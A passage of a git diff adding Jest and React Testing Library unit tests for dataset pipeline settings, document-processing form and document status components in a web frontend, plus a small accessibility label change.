mockData = createMockExecutionLogResponse({ + datasource_type: DatasourceType.onlineDocument, + datasource_info: { + workspace_id: 'workspace-1', + page: { page_id: 'page-1', page_name: 'Notion Page' }, + }, + }) + mockUsePipelineExecutionLog.mockReturnValue({ + data: mockData, + isFetching: false, + isError: false, + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId('online-documents-count')).toHaveTextContent('1') + }) + + it('should transform onlineDrive datasource correctly', () => { + // Arrange + const mockData = createMockExecutionLogResponse({ + datasource_type: DatasourceType.onlineDrive, + datasource_info: { id: 'drive-1', type: 'doc', name: 'Google Doc', size: 1024 }, + }) + mockUsePipelineExecutionLog.mockReturnValue({ + data: mockData, + isFetching: false, + isError: false, + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId('online-drive-files-count')).toHaveTextContent('1') + }) + }) + + // ==================== User Interactions - Process ==================== + describe('User Interactions - Process', () => { + it('should trigger form submit when process button is clicked', async () => { + // Arrange + mockMutateAsync.mockResolvedValue({}) + const props = createDefaultProps() + + // Act + renderWithProviders() + // Find the "Save and Process" button (from real ProcessDocuments > Actions) + const processButton = screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }) + fireEvent.click(processButton) + + // Assert + await waitFor(() => { + expect(mockMutateAsync).toHaveBeenCalled() + }) + }) + + it('should call handleProcess with is_preview=false', async () => { + // Arrange + mockMutateAsync.mockResolvedValue({}) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })) + + // Assert + await waitFor(() => { + expect(mockMutateAsync).toHaveBeenCalledWith( + expect.objectContaining({ + is_preview: false, + pipeline_id: mockPipelineId, + original_document_id: 'document-456', + }), + expect.any(Object), + ) + }) + }) + + it('should navigate to documents list after successful process', async () => { + // Arrange + mockMutateAsync.mockImplementation((_request, options) => { + options?.onSuccess?.() + return Promise.resolve({}) + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })) + + // Assert + await waitFor(() => { + expect(mockPush).toHaveBeenCalledWith('/datasets/dataset-123/documents') + }) + }) + + it('should invalidate document cache after successful process', async () => { + // Arrange + mockMutateAsync.mockImplementation((_request, options) => { + options?.onSuccess?.() + return Promise.resolve({}) + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })) + + // Assert + await waitFor(() => { + expect(mockInvalidDocumentList).toHaveBeenCalled() + expect(mockInvalidDocumentDetail).toHaveBeenCalled() + }) + }) + }) + + // ==================== User Interactions - Preview ==================== + describe('User Interactions - Preview', () => { + it('should trigger preview when preview button is clicked', async () => { + // Arrange + mockMutateAsync.mockResolvedValue({ data: { outputs: {} } }) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByTestId('preview-btn')) + + // Assert + await waitFor(() => { + expect(mockMutateAsync).toHaveBeenCalled() + }) + }) + + it('should call handlePreviewChunks with is_preview=true', async () => { + // Arrange + mockMutateAsync.mockResolvedValue({ data: { outputs: {} } }) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByTestId('preview-btn')) + + // Assert + await waitFor(() => { + expect(mockMutateAsync).toHaveBeenCalledWith( + expect.objectContaining({ + is_preview: true, + pipeline_id: mockPipelineId, + }), + expect.any(Object), + ) + }) + }) + + it('should update estimateData on successful preview', async () => { + // Arrange + const mockOutputs = { chunks: [], total_tokens: 50 } + mockMutateAsync.mockImplementation((_req, opts) => { + opts?.onSuccess?.({ data: { outputs: mockOutputs } }) + return Promise.resolve({ data: { outputs: mockOutputs } }) + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByTestId('preview-btn')) + + // Assert + await waitFor(() => { + expect(screen.getByTestId('has-estimate-data')).toHaveTextContent('true') + }) + }) + }) + + // ==================== API Integration ==================== + describe('API Integration', () => { + it('should pass correct parameters for preview', async () => { + // Arrange + const mockData = createMockExecutionLogResponse({ + datasource_type: DatasourceType.localFile, + datasource_node_id: 'node-xyz', + datasource_info: { related_id: 'file-1', name: 'test.pdf', extension: 'pdf' }, + input_data: {}, + }) + mockUsePipelineExecutionLog.mockReturnValue({ + data: mockData, + isFetching: false, + isError: false, + }) + mockMutateAsync.mockResolvedValue({ data: { outputs: {} } }) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByTestId('preview-btn')) + + // Assert - inputs come from initialData which is transformed by useInitialData + // Since usePublishedPipelineProcessingParams returns empty variables, inputs is {} + await waitFor(() => { + expect(mockMutateAsync).toHaveBeenCalledWith( + { + pipeline_id: mockPipelineId, + inputs: {}, + start_node_id: 'node-xyz', + datasource_type: DatasourceType.localFile, + datasource_info_list: [{ related_id: 'file-1', name: 'test.pdf', extension: 'pdf' }], + is_preview: true, + }, + expect.any(Object), + ) + }) + }) + }) + + // ==================== Edge Cases ==================== + describe('Edge Cases', () => { + it.each([ + [DatasourceType.localFile, 'local-files-count', '1'], + [DatasourceType.websiteCrawl, 'website-pages-count', '1'], + [DatasourceType.onlineDocument, 'online-documents-count', '1'], + [DatasourceType.onlineDrive, 'online-drive-files-count', '1'], + ])('should handle %s datasource type correctly', (datasourceType, testId, expectedCount) => { + // Arrange + const datasourceInfoMap: Record> = { + [DatasourceType.localFile]: { related_id: 'f1', name: 'file.pdf', extension: 'pdf' }, + [DatasourceType.websiteCrawl]: { content: 'c', description: 'd', source_url: 'u', title: 't' }, + [DatasourceType.onlineDocument]: { workspace_id: 'w1', page: { page_id: 'p1' } }, + [DatasourceType.onlineDrive]: { id: 'd1', type: 'doc', name: 'n', size: 100 }, + } + + const mockData = createMockExecutionLogResponse({ + datasource_type: datasourceType, + datasource_info: datasourceInfoMap[datasourceType], + }) + mockUsePipelineExecutionLog.mockReturnValue({ + data: mockData, + isFetching: false, + isError: false, + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId(testId)).toHaveTextContent(expectedCount) + }) + + it('should show loading state during initial fetch', () => { + // Arrange + mockUsePipelineExecutionLog.mockReturnValue({ + data: undefined, + isFetching: true, + isError: false, + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.queryByTestId('process-form')).not.toBeInTheDocument() + }) + + it('should show error state when API fails', () => { + // Arrange + mockUsePipelineExecutionLog.mockReturnValue({ + data: undefined, + isFetching: false, + isError: true, + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.queryByTestId('process-form')).not.toBeInTheDocument() + }) + }) + + // ==================== State Management ==================== + describe('State Management', () => { + it('should initialize with undefined estimateData', () => { + // Arrange + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId('has-estimate-data')).toHaveTextContent('false') + }) + + it('should update estimateData after successful preview', async () => { + // Arrange + const mockEstimateData = { chunks: [], total_tokens: 50 } + mockMutateAsync.mockImplementation((_req, opts) => { + opts?.onSuccess?.({ data: { outputs: mockEstimateData } }) + return Promise.resolve({ data: { outputs: mockEstimateData } }) + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByTestId('preview-btn')) + + // Assert + await waitFor(() => { + expect(screen.getByTestId('has-estimate-data')).toHaveTextContent('true') + }) + }) + + it('should set isPreview ref to false when process is clicked', async () => { + // Arrange + mockMutateAsync.mockResolvedValue({}) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })) + + // Assert + await waitFor(() => { + expect(mockMutateAsync).toHaveBeenCalledWith( + expect.objectContaining({ is_preview: false }), + expect.any(Object), + ) + }) + }) + + it('should set isPreview ref to true when preview is clicked', async () => { + // Arrange + mockMutateAsync.mockResolvedValue({ data: { outputs: {} } }) + const props = createDefaultProps() + + // Act + renderWithProviders() + fireEvent.click(screen.getByTestId('preview-btn')) + + // Assert + await waitFor(() => { + expect(mockMutateAsync).toHaveBeenCalledWith( + expect.objectContaining({ is_preview: true }), + expect.any(Object), + ) + }) + }) + + it('should pass isPending=true to ChunkPreview when preview is pending', async () => { + // Arrange - Start with isPending=false so buttons are enabled + let isPendingState = false + mockUseRunPublishedPipeline.mockImplementation(() => ({ + mutateAsync: mockMutateAsync, + isIdle: !isPendingState, + isPending: isPendingState, + })) + + // A promise that never resolves to keep the pending state + const pendingPromise = new Promise(() => undefined) + // When mutateAsync is called, set isPending to true and trigger rerender + mockMutateAsync.mockImplementation(() => { + isPendingState = true + return pendingPromise + }) + + const props = createDefaultProps() + const { rerender } = renderWithProviders() + + // Act - Click preview button (sets isPreview.current = true and calls mutateAsync) + fireEvent.click(screen.getByTestId('preview-btn')) + + // Update mock and rerender to reflect isPending=true state + mockUseRunPublishedPipeline.mockReturnValue({ + mutateAsync: mockMutateAsync, + isIdle: false, + isPending: true, + }) + rerender( + + + , + ) + + // Assert - isPending && isPreview.current should both be true now + expect(screen.getByTestId('is-pending')).toHaveTextContent('true') + }) + + it('should pass isPending=false to ChunkPreview when process is pending (not preview)', async () => { + // Arrange - isPending is true but isPreview.current is false + mockUseRunPublishedPipeline.mockReturnValue({ + mutateAsync: mockMutateAsync, + isIdle: false, + isPending: true, + }) + mockMutateAsync.mockReturnValue(new Promise(() => undefined)) + const props = createDefaultProps() + + // Act + renderWithProviders() + // Click process (not preview) to set isPreview.current = false + fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })) + + // Assert - isPending && isPreview.current should be false (true && false = false) + await waitFor(() => { + expect(screen.getByTestId('is-pending')).toHaveTextContent('false') + }) + }) + }) +}) diff --git a/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx b/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx index a075aa3308..b5660259a8 100644 --- a/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx +++ b/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx @@ -31,6 +31,7 @@ const LeftHeader = ({ variant='secondary-accent' className='absolute -left-11 top-3.5 size-9 rounded-full p-0' onClick={navigateBack} + aria-label={t('common.operation.back')} > diff --git a/web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx b/web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx new file mode 100644 index 0000000000..aae59b30a9 --- /dev/null +++ b/web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx @@ -0,0 +1,573 @@ +import { fireEvent, render, screen } from '@testing-library/react' +import { QueryClient, QueryClientProvider } from '@tanstack/react-query' +import ProcessDocuments from './index' +import { PipelineInputVarType } from '@/models/pipeline' +import type { RAGPipelineVariable } from '@/models/pipeline' + +// Mock i18n +jest.mock('react-i18next', () => ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})) + +// Mock dataset detail context - required for useInputVariables hook +const mockPipelineId = 'pipeline-123' +jest.mock('@/context/dataset-detail', () => ({ + useDatasetDetailContextWithSelector: (selector: (state: { dataset: { pipeline_id: string } }) => string) => + selector({ dataset: { pipeline_id: mockPipelineId } }), +})) + +// Mock API call for pipeline processing params +const mockParamsConfig = jest.fn() +jest.mock('@/service/use-pipeline', () => ({ + usePublishedPipelineProcessingParams: () => ({ + data: mockParamsConfig(), + isFetching: false, + }), +})) + +// Mock Form component - internal dependencies (useAppForm, BaseField) are too complex +// Keep the mock minimal and focused on testing the integration +jest.mock('../../../../create-from-pipeline/process-documents/form', () => { + return function MockForm({ + ref, + initialData, + configurations, + onSubmit, + onPreview, + isRunning, + }: { + ref: React.RefObject<{ submit: () => void }> + initialData: Record + configurations: Array<{ variable: string; label: string; type: string }> + schema: unknown + onSubmit: (data: Record) => void + onPreview: () => void + isRunning: boolean + }) { + // Expose submit method via ref for parent component control + if (ref && typeof ref === 'object' && 'current' in ref) { + (ref as React.MutableRefObject<{ submit: () => void }>).current = { + submit: () => onSubmit(initialData), + } + } + return ( +
{ + e.preventDefault() + onSubmit(initialData) + }} + > + {/* Render actual field labels from configurations */} + {configurations.map((config, index) => ( +
+ + +
+ ))} + +
+ ) + } +}) + +// Test utilities +const createQueryClient = () => + new QueryClient({ + defaultOptions: { + queries: { retry: false }, + mutations: { retry: false }, + }, + }) + +const renderWithProviders = (ui: React.ReactElement) => { + const queryClient = createQueryClient() + return render( + + {ui} + , + ) +} + +// Factory function for creating mock variables - matches RAGPipelineVariable type +const createMockVariable = (overrides: Partial = {}): RAGPipelineVariable => ({ + belong_to_node_id: 'node-123', + type: PipelineInputVarType.textInput, + variable: 'test_var', + label: 'Test Variable', + required: false, + ...overrides, +}) + +// Default props factory +const createDefaultProps = (overrides: Partial<{ + datasourceNodeId: string + lastRunInputData: Record + isRunning: boolean + ref: React.RefObject<{ submit: () => void } | null> + onProcess: () => void + onPreview: () => void + onSubmit: (data: Record) => void +}> = {}) => ({ + datasourceNodeId: 'node-123', + lastRunInputData: {}, + isRunning: false, + ref: { current: null } as React.RefObject<{ submit: () => void } | null>, + onProcess: jest.fn(), + onPreview: jest.fn(), + onSubmit: jest.fn(), + ...overrides, +}) + +describe('ProcessDocuments', () => { + beforeEach(() => { + jest.clearAllMocks() + // Default: return empty variables + mockParamsConfig.mockReturnValue({ variables: [] }) + }) + + // ==================== Rendering Tests ==================== + // Test basic rendering and component structure + describe('Rendering', () => { + it('should render without crashing', () => { + // Arrange + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - verify both Form and Actions are rendered + expect(screen.getByTestId('process-form')).toBeInTheDocument() + expect(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })).toBeInTheDocument() + }) + + it('should render with correct container structure', () => { + // Arrange + const props = createDefaultProps() + + // Act + const { container } = renderWithProviders() + + // Assert + const wrapper = container.firstChild as HTMLElement + expect(wrapper).toHaveClass('flex', 'flex-col', 'gap-y-4', 'pt-4') + }) + + it('should render form fields based on variables configuration', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number }), + createMockVariable({ variable: 'separator', label: 'Separator', type: PipelineInputVarType.textInput }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - real hooks transform variables to configurations + expect(screen.getByTestId('field-chunk_size')).toBeInTheDocument() + expect(screen.getByTestId('field-separator')).toBeInTheDocument() + expect(screen.getByText('Chunk Size')).toBeInTheDocument() + expect(screen.getByText('Separator')).toBeInTheDocument() + }) + }) + + // ==================== Props Testing ==================== + // Test how component behaves with different prop values + describe('Props', () => { + describe('lastRunInputData', () => { + it('should use lastRunInputData as initial form values', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number, default_value: '100' }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const lastRunInputData = { chunk_size: 500 } + const props = createDefaultProps({ lastRunInputData }) + + // Act + renderWithProviders() + + // Assert - lastRunInputData should override default_value + const input = screen.getByTestId('input-chunk_size') as HTMLInputElement + expect(input.defaultValue).toBe('500') + }) + + it('should use default_value when lastRunInputData is empty', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number, default_value: '100' }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const props = createDefaultProps({ lastRunInputData: {} }) + + // Act + renderWithProviders() + + // Assert + const input = screen.getByTestId('input-chunk_size') as HTMLInputElement + expect(input.value).toBe('100') + }) + }) + + describe('isRunning', () => { + it('should enable Actions button when isRunning is false', () => { + // Arrange + const props = createDefaultProps({ isRunning: false }) + + // Act + renderWithProviders() + + // Assert + const processButton = screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }) + expect(processButton).not.toBeDisabled() + }) + + it('should disable Actions button when isRunning is true', () => { + // Arrange + const props = createDefaultProps({ isRunning: true }) + + // Act + renderWithProviders() + + // Assert + const processButton = screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }) + expect(processButton).toBeDisabled() + }) + + it('should disable preview button when isRunning is true', () => { + // Arrange + const props = createDefaultProps({ isRunning: true }) + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId('preview-btn')).toBeDisabled() + }) + }) + + describe('ref', () => { + it('should expose submit method via ref', () => { + // Arrange + const ref = { current: null } as React.RefObject<{ submit: () => void } | null> + const onSubmit = jest.fn() + const props = createDefaultProps({ ref, onSubmit }) + + // Act + renderWithProviders() + + // Assert + expect(ref.current).not.toBeNull() + expect(typeof ref.current?.submit).toBe('function') + + // Act - call submit via ref + ref.current?.submit() + + // Assert - onSubmit should be called + expect(onSubmit).toHaveBeenCalled() + }) + }) + }) + + // ==================== User Interactions ==================== + // Test event handlers and user interactions + describe('User Interactions', () => { + describe('onProcess', () => { + it('should call onProcess when Save and Process button is clicked', () => { + // Arrange + const onProcess = jest.fn() + const props = createDefaultProps({ onProcess }) + + // Act + renderWithProviders() + fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })) + + // Assert + expect(onProcess).toHaveBeenCalledTimes(1) + }) + + it('should not call onProcess when button is disabled due to isRunning', () => { + // Arrange + const onProcess = jest.fn() + const props = createDefaultProps({ onProcess, isRunning: true }) + + // Act + renderWithProviders() + fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })) + + // Assert + expect(onProcess).not.toHaveBeenCalled() + }) + }) + + describe('onPreview', () => { + it('should call onPreview when preview button is clicked', () => { + // Arrange + const onPreview = jest.fn() + const props = createDefaultProps({ onPreview }) + + // Act + renderWithProviders() + fireEvent.click(screen.getByTestId('preview-btn')) + + // Assert + expect(onPreview).toHaveBeenCalledTimes(1) + }) + }) + + describe('onSubmit', () => { + it('should call onSubmit with form data when form is submitted', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number, default_value: '100' }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const onSubmit = jest.fn() + const props = createDefaultProps({ onSubmit }) + + // Act + renderWithProviders() + fireEvent.submit(screen.getByTestId('process-form')) + + // Assert - should submit with initial data transformed by real hooks + // Note: default_value is string type, so the value remains as string + expect(onSubmit).toHaveBeenCalledWith({ chunk_size: '100' }) + }) + }) + }) + + // ==================== Data Transformation Tests ==================== + // Test real hooks transform data correctly + describe('Data Transformation', () => { + it('should transform text-input variable to string initial value', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'name', label: 'Name', type: PipelineInputVarType.textInput, default_value: 'default' }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + const input = screen.getByTestId('input-name') as HTMLInputElement + expect(input.defaultValue).toBe('default') + }) + + it('should transform number variable to number initial value', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'count', label: 'Count', type: PipelineInputVarType.number, default_value: '42' }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + const input = screen.getByTestId('input-count') as HTMLInputElement + expect(input.defaultValue).toBe('42') + }) + + it('should use empty string for text-input without default value', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'name', label: 'Name', type: PipelineInputVarType.textInput }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + const input = screen.getByTestId('input-name') as HTMLInputElement + expect(input.defaultValue).toBe('') + }) + + it('should prioritize lastRunInputData over default_value', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'size', label: 'Size', type: PipelineInputVarType.number, default_value: '100' }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const props = createDefaultProps({ lastRunInputData: { size: 999 } }) + + // Act + renderWithProviders() + + // Assert + const input = screen.getByTestId('input-size') as HTMLInputElement + expect(input.defaultValue).toBe('999') + }) + }) + + // ==================== Edge Cases ==================== + // Test boundary conditions and error handling + describe('Edge Cases', () => { + describe('Empty/Null data handling', () => { + it('should handle undefined paramsConfig.variables', () => { + // Arrange + mockParamsConfig.mockReturnValue({ variables: undefined }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - should render without fields + expect(screen.getByTestId('process-form')).toBeInTheDocument() + expect(screen.queryByTestId(/^field-/)).not.toBeInTheDocument() + }) + + it('should handle null paramsConfig', () => { + // Arrange + mockParamsConfig.mockReturnValue(null) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId('process-form')).toBeInTheDocument() + }) + + it('should handle empty variables array', () => { + // Arrange + mockParamsConfig.mockReturnValue({ variables: [] }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId('process-form')).toBeInTheDocument() + expect(screen.queryByTestId(/^field-/)).not.toBeInTheDocument() + }) + }) + + describe('Multiple variables', () => { + it('should handle multiple variables of different types', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'text_field', label: 'Text', type: PipelineInputVarType.textInput, default_value: 'hello' }), + createMockVariable({ variable: 'number_field', label: 'Number', type: PipelineInputVarType.number, default_value: '123' }), + createMockVariable({ variable: 'select_field', label: 'Select', type: PipelineInputVarType.select, default_value: 'option1' }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - all fields should be rendered + expect(screen.getByTestId('field-text_field')).toBeInTheDocument() + expect(screen.getByTestId('field-number_field')).toBeInTheDocument() + expect(screen.getByTestId('field-select_field')).toBeInTheDocument() + }) + + it('should submit all variables data correctly', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'field1', label: 'Field 1', type: PipelineInputVarType.textInput, default_value: 'value1' }), + createMockVariable({ variable: 'field2', label: 'Field 2', type: PipelineInputVarType.number, default_value: '42' }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const onSubmit = jest.fn() + const props = createDefaultProps({ onSubmit }) + + // Act + renderWithProviders() + fireEvent.submit(screen.getByTestId('process-form')) + + // Assert - default_value is string type, so values remain as strings + expect(onSubmit).toHaveBeenCalledWith({ + field1: 'value1', + field2: '42', + }) + }) + }) + + describe('Variable with options (select type)', () => { + it('should handle select variable with options', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ + variable: 'mode', + label: 'Mode', + type: PipelineInputVarType.select, + options: ['auto', 'manual', 'custom'], + default_value: 'auto', + }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId('field-mode')).toBeInTheDocument() + const input = screen.getByTestId('input-mode') as HTMLInputElement + expect(input.defaultValue).toBe('auto') + }) + }) + }) + + // ==================== Integration Tests ==================== + // Test Form and Actions components work together with real hooks + describe('Integration', () => { + it('should coordinate form submission flow correctly', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'setting', label: 'Setting', type: PipelineInputVarType.textInput, default_value: 'initial' }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const onProcess = jest.fn() + const onSubmit = jest.fn() + const props = createDefaultProps({ onProcess, onSubmit }) + + // Act + renderWithProviders() + + // Assert - form is rendered with correct initial data + const input = screen.getByTestId('input-setting') as HTMLInputElement + expect(input.defaultValue).toBe('initial') + + // Act - click process button + fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })) + + // Assert - onProcess is called + expect(onProcess).toHaveBeenCalled() + }) + + it('should render complete UI with all interactive elements', () => { + // Arrange + const variables: RAGPipelineVariable[] = [ + createMockVariable({ variable: 'test', label: 'Test Field', type: PipelineInputVarType.textInput }), + ] + mockParamsConfig.mockReturnValue({ variables }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - all UI elements are present + expect(screen.getByTestId('process-form')).toBeInTheDocument() + expect(screen.getByText('Test Field')).toBeInTheDocument() + expect(screen.getByTestId('preview-btn')).toBeInTheDocument() + expect(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })).toBeInTheDocument() + }) + }) +}) diff --git a/web/app/components/datasets/documents/status-item/index.spec.tsx b/web/app/components/datasets/documents/status-item/index.spec.tsx new file mode 100644 index 0000000000..b057af9102 --- /dev/null +++ b/web/app/components/datasets/documents/status-item/index.spec.tsx @@ -0,0 +1,968 @@ +import { fireEvent, render, screen, waitFor } from '@testing-library/react' +import { QueryClient, QueryClientProvider } from '@tanstack/react-query' +import StatusItem from './index' +import type { DocumentDisplayStatus } from '@/models/datasets' + +// Mock i18n - required for translation +jest.mock('react-i18next', () => ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})) + +// Mock ToastContext - required to verify notifications +const mockNotify = jest.fn() +jest.mock('use-context-selector', () => ({ + ...jest.requireActual('use-context-selector'), + useContext: () => ({ notify: mockNotify }), +})) + +// Mock document service hooks - required to avoid real API calls +const mockEnableDocument = jest.fn() +const mockDisableDocument = jest.fn() +const mockDeleteDocument = jest.fn() + +jest.mock('@/service/knowledge/use-document', () => ({ + useDocumentEnable: () => ({ mutateAsync: mockEnableDocument }), + useDocumentDisable: () => ({ mutateAsync: mockDisableDocument }), + useDocumentDelete: () => ({ mutateAsync: mockDeleteDocument }), +})) + +// Mock useDebounceFn to execute immediately for testing +jest.mock('ahooks', () => ({ + ...jest.requireActual('ahooks'), + useDebounceFn: (fn: (...args: unknown[]) => void) => ({ run: fn }), +})) + +// Test utilities +const createQueryClient = () => + new QueryClient({ + defaultOptions: { + queries: { retry: false }, + mutations: { retry: false }, + }, + }) + +const renderWithProviders = (ui: React.ReactElement) => { + const queryClient = createQueryClient() + return render( + + {ui} + , + ) +} + +// Factory functions for test data +const createDetailProps = (overrides: Partial<{ + enabled: boolean + archived: boolean + id: string +}> = {}) => ({ + enabled: false, + archived: false, + id: 'doc-123', + ...overrides, +}) + +describe('StatusItem', () => { + beforeEach(() => { + jest.clearAllMocks() + mockEnableDocument.mockResolvedValue({ result: 'success' }) + mockDisableDocument.mockResolvedValue({ result: 'success' }) + mockDeleteDocument.mockResolvedValue({ result: 'success' }) + }) + + // ==================== Rendering Tests ==================== + // Test basic rendering with different status values + describe('Rendering', () => { + it('should render without crashing', () => { + // Arrange & Act + renderWithProviders() + + // Assert - check indicator element exists (real Indicator component) + const indicator = screen.getByTestId('status-indicator') + expect(indicator).toBeInTheDocument() + }) + + it.each([ + ['queuing', 'bg-components-badge-status-light-warning-bg'], + ['indexing', 'bg-components-badge-status-light-normal-bg'], + ['paused', 'bg-components-badge-status-light-warning-bg'], + ['error', 'bg-components-badge-status-light-error-bg'], + ['available', 'bg-components-badge-status-light-success-bg'], + ['enabled', 'bg-components-badge-status-light-success-bg'], + ['disabled', 'bg-components-badge-status-light-disabled-bg'], + ['archived', 'bg-components-badge-status-light-disabled-bg'], + ] as const)('should render status "%s" with correct indicator background', (status, expectedBg) => { + // Arrange & Act + renderWithProviders() + + // Assert + const indicator = screen.getByTestId('status-indicator') + expect(indicator).toHaveClass(expectedBg) + }) + + it('should render status text from translation', () => { + // Arrange & Act + renderWithProviders() + + // Assert + expect(screen.getByText('datasetDocuments.list.status.available')).toBeInTheDocument() + }) + + it('should handle case-insensitive status', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert + const indicator = screen.getByTestId('status-indicator') + expect(indicator).toHaveClass('bg-components-badge-status-light-success-bg') + }) + }) + + // ==================== Props Testing ==================== + // Test all prop variations and combinations + describe('Props', () => { + // reverse prop tests + describe('reverse prop', () => { + it('should apply default layout when reverse is false', () => { + // Arrange & Act + const { container } = renderWithProviders() + + // Assert + const wrapper = container.firstChild as HTMLElement + expect(wrapper).not.toHaveClass('flex-row-reverse') + }) + + it('should apply reversed layout when reverse is true', () => { + // Arrange & Act + const { container } = renderWithProviders() + + // Assert + const wrapper = container.firstChild as HTMLElement + expect(wrapper).toHaveClass('flex-row-reverse') + }) + + it('should apply ml-2 to indicator when reversed', () => { + // Arrange & Act + renderWithProviders() + + // Assert + const indicator = screen.getByTestId('status-indicator') + expect(indicator).toHaveClass('ml-2') + }) + + it('should apply mr-2 to indicator when not reversed', () => { + // Arrange & Act + renderWithProviders() + + // Assert + const indicator = screen.getByTestId('status-indicator') + expect(indicator).toHaveClass('mr-2') + }) + }) + + // scene prop tests + describe('scene prop', () => { + it('should not render switch in list scene', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - Switch renders as a button element + expect(screen.queryByRole('switch')).not.toBeInTheDocument() + }) + + it('should render switch in detail scene', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert + expect(screen.getByRole('switch')).toBeInTheDocument() + }) + + it('should default to list scene', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert + expect(screen.queryByRole('switch')).not.toBeInTheDocument() + }) + }) + + // textCls prop tests + describe('textCls prop', () => { + it('should apply custom text class', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert + const statusText = screen.getByText('datasetDocuments.list.status.available') + expect(statusText).toHaveClass('custom-text-class') + }) + + it('should default to empty string', () => { + // Arrange & Act + renderWithProviders() + + // Assert + const statusText = screen.getByText('datasetDocuments.list.status.available') + expect(statusText).toHaveClass('text-sm') + }) + }) + + // errorMessage prop tests + describe('errorMessage prop', () => { + it('should render tooltip trigger when errorMessage is provided', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // 